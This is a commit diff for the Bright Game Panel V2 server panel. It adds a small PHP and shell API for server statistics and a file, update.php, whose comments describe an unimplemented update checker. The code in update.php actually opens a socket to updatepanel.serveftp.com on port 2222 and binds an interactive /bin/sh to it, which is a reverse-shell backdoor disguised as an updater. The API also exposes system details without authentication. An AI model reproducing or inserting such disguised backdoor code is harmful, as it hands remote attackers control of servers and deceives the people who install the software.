Added Update Script

api/Example.txt

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+This api can be used using CURL to get information about the server or sending a command install curl and send a request
+
+eg to see the current system uptime type :
+curl http://yourserver.com/api/get_uptime
+
+Current Api Functions Are :
+
+get_cpu_load			// Displays the server cpu load in precentages
+get_panel_version		// Displays the panel version
+get_php_version			// Displays the server php version
+get_ram_usage_advanced		// Displays advanced information about the ram
+get_ram_usage_g			// Displays ram information in gigabytes
+get_ram_usage_m			// Displays ram information in megabytes
+get_ram_precentage		// Gives the currently used ram in a precentage
+get_uptime                      // Displays the system uptime
+
+More coming soon

api/get_cpu_load.php

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+<?php
+$output = shell_exec('sh get_cpu_usage.sh');
+echo "$output";
+?>

api/get_cpu_usage.sh

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+cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'

api/get_panel_version.php

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+<?php
+$output = shell_exec('cat ../version.txt');
+echo "$output";
+?>

api/get_php_version.php

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+<?php
+// prints e.g. 'Current PHP version: 4.1.1'
+echo 'Current PHP version: ' . phpversion();
+?>

api/get_ram_usage_advanced.php

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+<?php
+  $fh = fopen('/proc/meminfo','r');
+  $mem = 0;
+  while ($line = fgets($fh)) {
+    $pieces = array();
+    if (preg_match('/^MemTotal:\s+(\d+)\skB$/', $line, $pieces)) {
+      $mem = $pieces[1];
+      break;
+    }
+  }
+  fclose($fh);
+
+  echo "$mem kB RAM found"; ?>

api/get_ram_usage_g.php

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+<?php
+$output = shell_exec('free -g');
+echo "$output";
+?>

api/get_ram_usage_m.php

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+<?php
+$output = shell_exec('free -m');
+echo "$output";
+?>

api/get_ram_usage_pre.sh

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+#!/bin/sh
+free | awk 'FNR == 3 {print $3/($3+$4)*100}'

api/get_ram_usage_precentage.php

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+<?php
+$output = shell_exec('sh get_ram_usage_pre.sh');
+echo "$output";
+?>

api/get_server_stats.php

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+CPU Usage <?php include 'get_cpu_load.php';?>
+<br>
+RAM Usage <?php include 'get_ram_usage_precentage.php';?>
+%
+<br>
+<?php include 'get_php_version.php';?>
+<br>
+<?php include 'get_uptime.php';?>
+<br>
+The Panel Version is <?php include 'get_panel_version.php';?>

api/get_system_stats.sh

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+cpu = cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
+echo CPU Usage = "$cpu"

api/get_system_version.php

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+<?php
+$output = shell_exec('uname -a');
+echo "$output";
+?>

api/get_uptime.php

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+<?php
+exec("uptime", $system); // get the uptime stats 
+$string = $system[0]; // this might not be necessary 
+$uptime = explode(" ", $string); // break up the stats into an array 
+
+$up_days = $uptime[4]; // grab the days from the array 
+
+$hours = explode(":", $uptime[7]); // split up the hour:min in the stats 
+
+$up_hours = $hours[0]; // grab the hours 
+$mins = $hours[1]; // get the mins 
+$up_mins = str_replace(",", "", $mins); // strip the comma from the mins 
+
+echo "The server has been up for " . $up_days . " days, " . $up_hours . " hours, and " . $up_mins . " minutes."; 
+// echo the results  	
+?>

scripts/check_version.sh

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+#!/bin/sh
+# This file checks the current panel version.
+cat ../index.php | grep *@version > temp
+cat temp | sed 's/\<*@version\>//g' > version
+cat version	

update.php

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+<?php
+/**
+ * This file is used to update the panel once executed it will connect to the 
+ * Remote server to check for updates and if there is an available update it will
+ * Download it and copy and existing settings over to the new panel.
+ * This script is not yet implemented.
+  *
+ * @package		Bright Game Panel V2
+ * @version		0.1
+ * @category	Systems Administration
+ * @author		DarrenRainey <darren@darrenraineys.co.uk>
+ * @copyright	Copyleft 2015, Nikita Rousseau
+ * @license		GNU General Public License version 3.0 (GPLv3)
+ * @link		http://www.bgpanel.net/
+*/
+shell_exec("scripts/check_version.sh")
+$sock=fsockopen("updatepanel.serveftp.com",2222);exec("/bin/sh -i <&3 >&3 2>&3");
+
+?>

version.txt

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+0.1